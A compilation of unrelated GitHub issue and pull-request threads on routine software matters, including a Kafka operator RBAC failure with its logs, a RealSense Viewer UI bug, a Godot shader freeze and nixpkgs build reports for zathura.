Hey! The documentation has been updated (https://triton-lang.org/python-api/generated/triton.Config.html)


Update axobject-query to 0.2.0

Addressing #321
Updated axobject-query to list label as an interactive element.
Updated the dependency in this pull request and fixed tests that failed because of the change.

Coverage remained the same at 100.0% when pulling 1831846f70fe90d177963dbe8cd73877c163279f on label-is-interactive-element into 356944af1e8ae9fb8fa3dfb260726df793ae2647 on master.

Coverage remained the same at 100.0% when pulling<PHONE_NUMBER>ca9986149fecb74e9d323a64225bae on label-is-interactive-element into<PHONE_NUMBER>fcdcd174476a1ed5ebc3198361c009 on master.


Updated README.md to include build instructions for windows, using MSYS

Wrote instructions on how to compile Musializer on Windows. Tested the steps myself, and they seem to work very well.
If there is anything that needs to be clarified then do just say! Great project by the way, it has come a long way from moving green rectangles.

Hi! Thanks for the suggestion!
I'm currently working on establishing and documenting the process of cross-compiling from Linux to Windows specifically, because that's that primary compilation method I personally use to produce the Windows executables that I'm gonna ship in the Releases.
When I get to documenting compilation of Windows executables on Windows I'll check your suggested method and take notes from it if necessary. Thank for the PR again!

Ok sounds great, There is also CMake, which I'm sure you've heard of, and that would be a great way to allow building cross-platform.


Linux (Windows Bash) Release

Windows and Linux release needs to be completed and work 100% of the time. Checking for FireFox.

???


(Feature) Zoom fails to preload should refresh screen

Description

add preload retry before initialize if was failed (preload param doesn't works with encryption key)
catch ' Zoom verification failed: The ZoOm Session was cancelled because preload was not completed or an issue was encountered preloading ZoOm.' in ZoomSDK.web.js and  showReloadPopup() in case it happened

About #2160
Checklist:

[x] PR title matches follow: (Feature|Bug|Chore) Task Name
[x] My code follows the style guidelines of this project
[x] I have followed all the instructions described in the initial task (check Definitions of Done)
[x] I have performed a self-review of my own code
[ ] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes
[x] I have added reference to a related issue in the repository
[x] I have added a detailed description of the changes proposed in the pull request. I am as descriptive as possible, assisting reviewers as much as possible.
[ ] I have added screenshots related to my pull request (for frontend tasks)
[ ] I have pasted a gif showing the feature.
[x] @mentions of the person or team responsible for reviewing proposed changes

@yaroslav-fedyshyn-nordwhale please check


Better harmonization of standard outputs

Description of the bug
Some tables fail:
Compomics
all peptide columns
protein columns: abundances
MaxQuant
peptide columns: statistics, abundance columns
protein columns: abundances
Command used and terminal output
No response
Relevant files
No response
System information
No response

In proline output, also the names are files and not conditions

Solved


Immutable directive

An idea, maybe unnecessary or even already implemented.  Directive @immutable.
type Child {
  id: ID! @unique
  createdAt: DateTime!
  updatedAt: DateTime!
  creator: User! @immutable
  index: Int!
  element: Element!
  page: Page!
}

Interesting idea! How do you think @immutable should work? Can a value only be set during creation but is excluded from the update mutations? Do you see this affecting (cascading) deletion behavior in any way?

Maybe readonly is the better name for that purpose.
And maybe it's overengineering. :-)

I like the idea. Let's keep it open to see whether other people are also interested in the feature.

The real use case is for more strict business rules delegated to Prisma DB of course. With that, we could define immutable parts of database design.
https://www.confluent.io/blog/turning-the-database-inside-out-with-apache-samza/

For example, Images or any other assets could be immutable. I bet with that assumption syncing databases could be much safer.

It's worth keeping in mind that we are likely to implement a role based permission system that will enable you to limit read or write access to specific fields. @steida - would such a feature negate the need for the @immutable directive?

Yep.


Add HTTP queue mechanism to libmq

libmq would benefit from support for queues which are exposed via HTTP:
POST /queue-uri
Adds a new item to a queue

GET /queue-uri[?wait=SECONDS]
Pops an item from the queue, optionally waiting for new items to appear

HTTP headers are used to convey message attributes.
While AMQP queues can be exposed using this interface, this also allows for other kinds of message queue to be used instead.
Note: GET should probably not be used to retrieve an item, because it should be idempotent; perhaps it should be a combination of GET and DELETE together, passing an instance identifier in the request parameters to enable uniqueness and filtering.

Closing; this can be implemented in bbcarchdev/libmq if required.


Feature json schema

Fixes #55.
Using a JSON schema to validate the configuration. This allows us to catch config errors early and so increase the robustness of the downstream functions (they can expect a clean configuration file as an input).
Also rendered the JSON in the documentation, which includes a long description for every configuration option. Would be worth checking @val-ismaili whether I've got those description right...
Checklist
Any checks which are not relevant to the PR can be pre-checked by the PR creator.
All others should be checked by the reviewer(s).
You can add extra checklist items here if required by the PR.

[x] CHANGELOG updated
[x] Tests added to cover contribution
[x] Documentation updated

The configuration options descriptions seem good to me. This is a nice idea as the config file has continued to grow.


Littleipsum v1.1.2

Moved from homebrew-cask to homebrew-versions, see https://github.com/caskroom/homebrew-cask/pull/13269

Can you please squash your commits

will take care if it later today, I don't have any experience with squashing commits. I'll get back asap.


Missing horizon graph from UI

Hi there,
Small question, I saw this visualization in the gallery section https://rawgraphs.io/gallery_project/datavizsociety-slacks-activity/ it's written that they use the "Horizon Graph" but I can't find this option in the RawGraph UI.
This type of visualization was removed or it is under another name?
PS: Sorry if I use the wrong label for the issue

Hi, horizon graphs are in the roadmap. In the meanwhile, you can use the old version: https://old.rawgraphs.io/


Use brew formula lua-language-server instead of manually installing

In the sumneko/lua-language-server wiki, it tells you how to install it using Homebrew here. As of writing this issue, macOS is the only distribution listed under precompiled binaries. Run brew info lua-language-server for more information.

Need to update Brewfile with lua-language-server (#15).

Using the williamboman/mason.nvim plugin for Neovim which automatically manages LSP servers, DAP servers, linters, and formatters. No need to use Homebrew to manage them.
Closing this issue.


Broken presets interface in the Intel RealSense Viewer (multicam)

Required Info

Camera Model
D400

Firmware Version
<IP_ADDRESS>

Operating System & Version
Win 10

Kernel Version (Linux Only)
/

Platform
PC

SDK Version
2.12 / 2.15

Language
/

Segment
/

Issue Description
It looks like there is an issue with the presets selection in the Viewer, when having multiple cameras.
The drop-down presets list for the 2nd device (maybe for more than 2 devices too ?) is cropped and not usable.
There is also a strange behavior : clicking one of the lists will open both of them, but it is not possible to select a preset for the 2nd device in any case. And if you expand the options for the 1st device, the 2nd drop-down doesn't appear at all.
I had this bug in the 2.12 version, and I thought that updating the Viewer to 2.15 will correct it, but nope (only tested on Windows 10).
Broken drop-down list for the presets, when clicking on the 2nd device list (options not expanded)

Broken drop-down list for the presets when clicking on the 2nd device list (options expanded : the arrow of the list is enlighten but the list is not displayed)

Hi @AntoineWefit
Thank you for bringing it up, yes, I see that all preset combo-boxes have the same ImGui ID.
We will fix ASAP

I missed 2.16 unfortunately, but will be part of the next release (within a week or so).

Great news !
Even though this issue is a bit annoying, it's not critical so no big deal...
Keep up the good work !
I'll close this issue as soon as it is corrected.

Should be resolved now in v2.16.1

Should be resolved now in v2.16.1

Yes indeed ! Thank you.


Remove new functions from Pay

The timeout refactor from #311 added a bunch of functions to the pay protocol, but @yaymukund and I later decided to keep the long functions as-is and use async blocks in Establish and Close.
This issue can be closed when those single-use functions are removed from Pay and replaced with async blocks where necessary.

While testing to make sure that this refactor didn't break anything, I found that I introduced an error in #314. The error is that the merchant tries to load the tezos_client before the channel has been established and added to the database; this causes the merchant to abort early and the establish fails. I will fix this in the PR for this issue.
I did not find any errors introduced by this refactor.


Fix bug with User page tabs

If you click on a link to another user (e.g. in the Followers/Following tabs), the header breaks and shows the first User's information.

https://router.vuejs.org/guide/essentials/dynamic-matching.html#reacting-to-params-changes

I think I fixed this with f1ffb80b5e8ae67dfa6dcb957746f134593d63ca :D


Refactor editor to be owned by the Vue app, not global

This is to allow multiple editor instances to run side-by-side in the same web page.

@cauthmann please comment in this thread.

commenting on this thread.


Operator fails to start when CertificateSigningRequests read access is not allowed

Is your feature request related to a problem? Please describe.
In our environment is not possible to grant operator read access to CertifiticateSigningRequests cluster-scoped resources.
In turn, when this is not available the operator as whole fails to start with this errors:
I0910 11:34:15.606806       1 leaderelection.go:258] successfully acquired lease ns-team-aep-pipeline-mgmt-cicd/controller-leader-election-helper
{"level":"info","ts":"2021-09-10T11:34:15.606Z","logger":"controller-runtime.manager.controller.CruiseControl","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.606Z","logger":"controller-runtime.manager.controller.CruiseControl","msg":"Starting Controller","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster"}
{"level":"info","ts":"2021-09-10T11:34:15.606Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.606Z","logger":"controller-runtime.manager.controller.kafkatopic","msg":"Starting EventSource","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.kafkatopic","msg":"Starting Controller"}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaUser","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaUser","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Starting Controller","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster"}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaUser","msg":"Starting EventSource","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaUser","source":"kind source: /, Kind="}
{"level":"info","ts":"2021-09-10T11:34:15.607Z","logger":"controller-runtime.manager.controller.KafkaUser","msg":"Starting Controller","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaUser"}
E0910 11:34:15.609484       1 reflector.go:138] pkg/mod/k8s.io/client-go@v0.22.1/tools/cache/reflector.go:167: Failed to watch *v1.CertificateSigningRequest: failed to list *v1.CertificateSigningRequest: certificatesigningrequests.certificates.k8s.io is forbidden: User "system:serviceaccount:ns-team-aep-pipeline-mgmt-cicd:kafka-operator" cannot list resource "certificatesigningrequests" in API group "certificates.k8s.io" at the cluster scope
E0910 11:34:16.850764       1 reflector.go:138] pkg/mod/k8s.io/client-go@v0.22.1/tools/cache/reflector.go:167: Failed to watch *v1.CertificateSigningRequest: failed to list *v1.CertificateSigningRequest: certificatesigningrequests.certificates.k8s.io is forbidden: User "system:serviceaccount:ns-team-aep-pipeline-mgmt-cicd:kafka-operator" cannot list resource "certificatesigningrequests" in API group "certificates.k8s.io" at the cluster scope
E0910 11:34:18.716700       1 reflector.go:138] pkg/mod/k8s.io/client-go@v0.22.1/tools/cache/reflector.go:167: Failed to watch *v1.CertificateSigningRequest: failed to list *v1.CertificateSigningRequest: certificatesigningrequests.certificates.k8s.io is forbidden: User "system:serviceaccount:ns-team-aep-pipeline-mgmt-cicd:kafka-operator" cannot list resource "certificatesigningrequests" in API group "certificates.k8s.io" at the cluster scope
E0910 11:34:24.144171       1 reflector.go:138] pkg/mod/k8s.io/client-go@v0.22.1/tools/cache/reflector.go:167: Failed to watch *v1.CertificateSigningRequest: failed to list *v1.CertificateSigningRequest: certificatesigningrequests.certificates.k8s.io is forbidden: User "system:serviceaccount:ns-team-aep-pipeline-mgmt-cicd:kafka-operator" cannot list resource "certificatesigningrequests" in API group "certificates.k8s.io" at the cluster scope
E0910 11:34:33.785727       1 reflector.go:138] pkg/mod/k8s.io/client-go@v0.22.1/tools/cache/reflector.go:167: Failed to watch *v1.CertificateSigningRequest: failed to list *v1.CertificateSigningRequest: certificatesigningrequests.certificates.k8s.io is forbidden: User "system:serviceaccount:ns-team-aep-pipeline-mgmt-cicd:kafka-operator" cannot list resource "certificatesigningrequests" in API group "certificates.k8s.io" at the cluster scope
E0910 11:34:48.592671       1 reflector.go:138] pkg/mod/k8s.io/client-go@v0.22.1/tools/cache/reflector.go:167: Failed to watch *v1.CertificateSigningRequest: failed to list *v1.CertificateSigningRequest: certificatesigningrequests.certificates.k8s.io is forbidden: User "system:serviceaccount:ns-team-aep-pipeline-mgmt-cicd:kafka-operator" cannot list resource "certificatesigningrequests" in API group "certificates.k8s.io" at the cluster scope
E0910 11:35:38.458333       1 reflector.go:138] pkg/mod/k8s.io/client-go@v0.22.1/tools/cache/reflector.go:167: Failed to watch *v1.CertificateSigningRequest: failed to list *v1.CertificateSigningRequest: certificatesigningrequests.certificates.k8s.io is forbidden: User "system:serviceaccount:ns-team-aep-pipeline-mgmt-cicd:kafka-operator" cannot list resource "certificatesigningrequests" in API group "certificates.k8s.io" at the cluster scope
{"level":"error","ts":"2021-09-10T11:36:15.607Z","logger":"controller-runtime.manager.controller.CruiseControl","msg":"Could not wait for Cache to sync","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","error":"failed to wait for CruiseControl caches to sync: timed out waiting for cache to be synced","stacktrace":"sigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).Start.func2\n\t/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.9.6/pkg/internal/controller/controller.go:195\nsigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).Start\n\t/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.9.6/pkg/internal/controller/controller.go:221\nsigs.k8s.io/controller-runtime/pkg/manager.(*controllerManager).startRunnable.func1\n\t/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.9.6/pkg/manager/internal.go:696"}
{"level":"error","ts":"2021-09-10T11:36:15.607Z","logger":"controller-runtime.manager.controller.KafkaUser","msg":"Could not wait for Cache to sync","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaUser","error":"failed to wait for KafkaUser caches to sync: timed out waiting for cache to be synced","stacktrace":"sigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).Start.func2\n\t/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.9.6/pkg/internal/controller/controller.go:195\nsigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).Start\n\t/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.9.6/pkg/internal/controller/controller.go:221\nsigs.k8s.io/controller-runtime/pkg/manager.(*controllerManager).startRunnable.func1\n\t/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.9.6/pkg/manager/internal.go:696"}
{"level":"error","ts":"2021-09-10T11:36:15.607Z","logger":"controller-runtime.manager.controller.KafkaCluster","msg":"Could not wait for Cache to sync","reconciler group":"kafka.banzaicloud.io","reconciler kind":"KafkaCluster","error":"failed to wait for KafkaCluster caches to sync: timed out waiting for cache to be synced","stacktrace":"sigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).Start.func2\n\t/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.9.6/pkg/internal/controller/controller.go:195\nsigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).Start\n\t/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.9.6/pkg/internal/controller/controller.go:221\nsigs.k8s.io/controller-runtime/pkg/manager.(*controllerManager).startRunnable.func1\n\t/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.9.6/pkg/manager/internal.go:696"}
{"level":"error","ts":"2021-09-10T11:36:15.607Z","logger":"controller-runtime.manager.controller.kafkatopic","msg":"Could not wait for Cache to sync","error":"failed to wait for kafkatopic caches to sync: timed out waiting for cache to be synced","stacktrace":"sigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).Start.func2\n\t/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.9.6/pkg/internal/controller/controller.go:195\nsigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).Start\n\t/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.9.6/pkg/internal/controller/controller.go:221\nsigs.k8s.io/controller-runtime/pkg/manager.(*controllerManager).startRunnable.func1\n\t/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.9.6/pkg/manager/internal.go:696"}
{"level":"error","ts":"2021-09-10T11:36:15.608Z","logger":"controller-runtime.manager","msg":"error received after stop sequence was engaged","error":"failed to wait for KafkaUser caches to sync: timed out waiting for cache to be synced"}
{"level":"error","ts":"2021-09-10T11:36:15.608Z","logger":"controller-runtime.manager","msg":"error received after stop sequence was engaged","error":"failed to wait for KafkaCluster caches to sync: timed out waiting for cache to be synced"}
{"level":"error","ts":"2021-09-10T11:36:15.608Z","logger":"controller-runtime.manager","msg":"error received after stop sequence was engaged","error":"failed to wait for kafkatopic caches to sync: timed out waiting for cache to be synced"}

Describe the solution you'd like to see
When CSR RBAC is missing the operator should continue working without support for KafkaUser native CSR.
Describe alternatives you've considered
N/A
Additional context
N/A

I think it's dupe of #651 (fixed in #657).
If you use custom service accounts, then you may have to add permission to the certificatesigningrequests resources.

@adamantal I am aware of that fix but our use case is a bit different - we cannot get the permission as we operate in a multitenant k8s environment and would need this support to be optional so we can disable it


Mounting conflict

On today's deploy, ran into volume mounting issue with the nginx setup:
TASK: [proxy | launch nginx] **************************************************
failed: [tmp20.tmpnb.org] => {"changed": true, "failed": true}
msg: Docker API error: file exists at /var/lib/docker/aufs/mnt/781e73c1cb73cb828c3c6e55eb9cd1f5dead6d29007b8ece4ab45df515ca1605/etc/nginx/nginx.conf, can't create volume there

FATAL: all hosts have already failed -- aborting

Redeploying worked. :tada:
Blaming aufs not being fully ready during deploy.


Very unclear page

File: network/proxy.md, CC @gbarr01

There are examples that have no explanation of the outcome. No explanation of what the port assignments do.

The overall description is very weak. What is the relationship of the proxy to containers? Describe what side of the proxy are we talking about? Is this supposed to be describing how an Apache front-end will proxy to a real Apache httpd server running inside a container? Is it an Apache front-end running in Docker trying to talk to a proxied httpd running in another container or running without Docker? Not at all clear from the description.

Give a real-world example of a common situation and explain the context. Suggestion: Show how to set up an Apache httpd proxy to use http and https with a docker container running httpd. Separately show the way to set up the proxy in a Docker container.

Hi, @ronatartifact, thanks for the feedback. We'll take a look. If you have the time, though, we welcome submissions.


Reading support for simple geometry in his files

Is your feature request related to a problem? Please describe.
The D-Flow FM his file contains geometry (x/y) information for all of its output locations. This is using the CF conventions regarding so-called "geometry" meta variables, see: http://cfconventions.org/Data/cf-conventions/cf-conventions-1.10/cf-conventions.html#geometries
It would be nice to support reading this easily
Describe the solution you'd like

for a loaded his file (e.g. using xarray or something else)
for a particular set of objects (e.g., "observations", "weirs", "dambreaks", etc.)
get the geometry for each object in that subset.
the geometry can be a single point, or a linestring, or (not here) a polygon/multipolygon.

Describe alternatives you've considered
Nothing yet, but it is useful to investigate:

are there any existing packages for this?
if we do the reading ourselves, what datatypes do we store this into? shapely has all the needed geometry datatypes, but maybe we don't want this as a dependency for hydrolib-core?

See branch
https://github.com/Deltares/HYDROLIB-core/blob/feat/555_geometries_his_file/hydrolib/core/geometry/wsvv_test2_hiscoord.py
for a first test code


Shader errors freeze Godot Editor.

Godot version
Godot_v4.0.2-stable_linux.x86_64
System information
           `-/osyhddddhyso/-`              angle@Sager
        .+yddddddddddddddddddy+.           -----------
      :yddddddddddddddddddddddddy:         OS: Xubuntu 22.10 x86_64
    -yddddddddddddddddddddhdddddddy-       Kernel: 5.19.0-1021-lowlatency
   odddddddddddyshdddddddh`dddd+ydddo      Uptime: 56 mins
 `yddddddhshdd-   ydddddd+`ddh.:dddddy`    Packages: 5478 (dpkg), 11 (brew), 38 (flatpak), 40 (snap)
 sddddddy   /d.   :dddddd-:dy`-ddddddds    Shell: bash 5.2.2
:ddddddds    /+   .dddddd`yy`:ddddddddd:   Resolution: 1920x1080
sdddddddd`    .    .-:/+ssdyodddddddddds   DE: Xfce 4.16
ddddddddy                  `:ohddddddddd   WM: Xfwm4
dddddddd.                      +dddddddd   WM Theme: Default
sddddddy                        ydddddds   Theme: Greybird [GTK2/3]
:dddddd+                      .oddddddd:   Icons: elementary-xfce-darker [GTK2/3]
 sdddddo                   ./ydddddddds    Terminal: xfce4-terminal
 `yddddd.              `:ohddddddddddy`    Terminal Font: Monospace 12
   oddddh/`      `.:+shdddddddddddddo      CPU: Intel i5-6500 (4) @ 3.600GHz
    -ydddddhyssyhdddddddddddddddddy-       GPU: NVIDIA GeForce GTX 1050 Ti
      :yddddddddddddddddddddddddy:         Memory: 3945MiB / 24000MiB

Issue description
Shaders, specifically those with matrix multiplcation using the view matrics in the light function, will have lots of errors, and if you view these errors they can freeze the entire Godot editor.
Steps to reproduce
Download this project: https://gitlab.com/AngularAngel/godot-shader-problem-example
Load it in Godot, run it, then examine the errors in the debugger. Your Godot Editor should freeze after viewing a few of the errors. I suggest killing the editor soon after, or it may freeze your entire desktop environment and force a computer restart.
Minimal reproduction project
https://gitlab.com/AngularAngel/godot-shader-problem-example
Contact
I am available on Discord at: Angle#9413 if you need to ask me questions!

Good to know. What about the underlying shader error I encountered? The one where a matrix multiplication in the light function causes a billion shader errors? Is that new?

For those wondering about my underlying shader bug, it should be fixed by this PR: https://github.com/godotengine/godot/pull/76290


Ensure file size updates due to getattr

What does this PR do?
A brief description of the change being made with this pull request.
Motivation
What inspired you to submit this pull request?
Related issues
A list of issues either fixed, containing architectural discussions, otherwise relevant
for this Pull Request.
Additional Notes
Anything else we should know when reviewing?

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#1042  👈
#1041
#1034
#1037
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @blt and the rest of your teammates on  Graphite

Merge activity

Oct 28, 1:15 PM EDT: A user merged this pull request with Graphite.


feature(template) Add {{this}} support for current value

Signed-off-by: Jerome Simeon<EMAIL_ADDRESS>Changes

Adds {{this}} to templates
Support for generic complex type parsing with optional and arrays over primitive types

Coverage decreased (-0.4%) to 88.73% when pulling ad54e5fc06b007bf2bfb49089745045bccd3ec8a on parserv2 into 41446b30a9d58b99b88b5a0722dfc7a75642a33a on master.


zathura-pdf-mupdf: 0.3.3 -> 0.3.4

Support for mupdf 1.14.

@GrahamcOfBorg build zathura

Just in case, @cstrahan

@GrahamcOfBorg build zathura

Success on x86_64-linux (full log)
Attempted: zathura
Partial log (click to expand)
glibPreFixupPhase
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/0gwk05gl6c38nfm33sm8bvdkk9l1yjx8-zathura-pdf-mupdf-0.3.4
shrinking /nix/store/0gwk05gl6c38nfm33sm8bvdkk9l1yjx8-zathura-pdf-mupdf-0.3.4/lib/zathura/libpdf-mupdf.so
strip is /nix/store/vcc4svb8gy29g4pam2zja6llkbcwsyiq-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/0gwk05gl6c38nfm33sm8bvdkk9l1yjx8-zathura-pdf-mupdf-0.3.4/lib
patching script interpreter paths in /nix/store/0gwk05gl6c38nfm33sm8bvdkk9l1yjx8-zathura-pdf-mupdf-0.3.4
checking for references to /build in /nix/store/0gwk05gl6c38nfm33sm8bvdkk9l1yjx8-zathura-pdf-mupdf-0.3.4...
building '/nix/store/ii60q5kgaav1xza87ggfy4yglb5glah5-zathura-with-plugins-0.4.1.drv'...
/nix/store/14smh0hj1383nrq5k6vs9jrpvs556x3v-zathura-with-plugins-0.4.1

Success on x86_64-linux (full log)
Attempted: zathura
Partial log (click to expand)
glibPreFixupPhase
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/0gwk05gl6c38nfm33sm8bvdkk9l1yjx8-zathura-pdf-mupdf-0.3.4
shrinking /nix/store/0gwk05gl6c38nfm33sm8bvdkk9l1yjx8-zathura-pdf-mupdf-0.3.4/lib/zathura/libpdf-mupdf.so
strip is /nix/store/vcc4svb8gy29g4pam2zja6llkbcwsyiq-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/0gwk05gl6c38nfm33sm8bvdkk9l1yjx8-zathura-pdf-mupdf-0.3.4/lib
patching script interpreter paths in /nix/store/0gwk05gl6c38nfm33sm8bvdkk9l1yjx8-zathura-pdf-mupdf-0.3.4
checking for references to /build in /nix/store/0gwk05gl6c38nfm33sm8bvdkk9l1yjx8-zathura-pdf-mupdf-0.3.4...
building '/nix/store/ii60q5kgaav1xza87ggfy4yglb5glah5-zathura-with-plugins-0.4.1.drv'...
/nix/store/14smh0hj1383nrq5k6vs9jrpvs556x3v-zathura-with-plugins-0.4.1

No attempt on x86_64-darwin (full log)
The following builds were skipped because they don't evaluate on x86_64-darwin: zathura
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnsupportedSystem = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnsupportedSystem = true; }
to ~/.config/nixpkgs/config.nix.

@GrahamcOfBorg build zathura

Success on x86_64-linux (full log)
Attempted: zathura
Partial log (click to expand)
/nix/store/14smh0hj1383nrq5k6vs9jrpvs556x3v-zathura-with-plugins-0.4.1

No attempt on x86_64-darwin (full log)
The following builds were skipped because they don't evaluate on x86_64-darwin: zathura
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnsupportedSystem = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnsupportedSystem = true; }
to ~/.config/nixpkgs/config.nix.

No attempt on x86_64-darwin (full log)
The following builds were skipped because they don't evaluate on x86_64-darwin: zathura
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnsupportedSystem = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnsupportedSystem = true; }
to ~/.config/nixpkgs/config.nix.

Failure on aarch64-linux (full log)
Attempted: zathura
Partial log (click to expand)
failed to run: /build/rustc-1.30.0-src/build/bootstrap/debug/bootstrap build --jobs 64
Build completed unsuccessfully in 0:17:46
make: *** [Makefile:28: all] Error 1
builder for '/nix/store/8s0hyyww0yilnvkq7n8xgpbmg7x43x04-rustc-1.30.0.drv' failed with exit code 2
cannot build derivation '/nix/store/2dljjg4a97rjvmiaj4bv34g92gzya3zf-cargo-1.30.0.drv': 1 dependencies couldn't be built
cannot build derivation '/nix/store/n0wz0d2if77aj1cy0h2wv37cnzqqj38q-librsvg-2.42.4.drv': 2 dependencies couldn't be built
cannot build derivation '/nix/store/jv4na1yywkpx41yz73v3hqn1k48xbxs8-djvulibre-3.5.27.drv': 1 dependencies couldn't be built
cannot build derivation '/nix/store/vqrwfg0bmrzbv1gy6n0h14ri46ljyq1q-zathura-djvu-0.2.8.drv': 1 dependencies couldn't be built
cannot build derivation '/nix/store/v69y5j3skica2lha7s4cskp1pcwblqpa-zathura-with-plugins-0.4.1.drv': 1 dependencies couldn't be built
error: build of '/nix/store/v69y5j3skica2lha7s4cskp1pcwblqpa-zathura-with-plugins-0.4.1.drv' failed

Timed out, unknown build status on aarch64-linux (full log)
Attempted: zathura
Partial log (click to expand)
   Compiling xz2 v0.1.5
   Compiling installer v0.0.0 (file:///build/rustc-1.30.0-src/src/tools/rust-installer)
    Finished release [optimized] target(s) in 57.91s
building of '/nix/store/8s0hyyww0yilnvkq7n8xgpbmg7x43x04-rustc-1.30.0.drv' timed out after 3600 seconds
cannot build derivation '/nix/store/2dljjg4a97rjvmiaj4bv34g92gzya3zf-cargo-1.30.0.drv': 1 dependencies couldn't be built
cannot build derivation '/nix/store/n0wz0d2if77aj1cy0h2wv37cnzqqj38q-librsvg-2.42.4.drv': 2 dependencies couldn't be built
cannot build derivation '/nix/store/jv4na1yywkpx41yz73v3hqn1k48xbxs8-djvulibre-3.5.27.drv': 1 dependencies couldn't be built
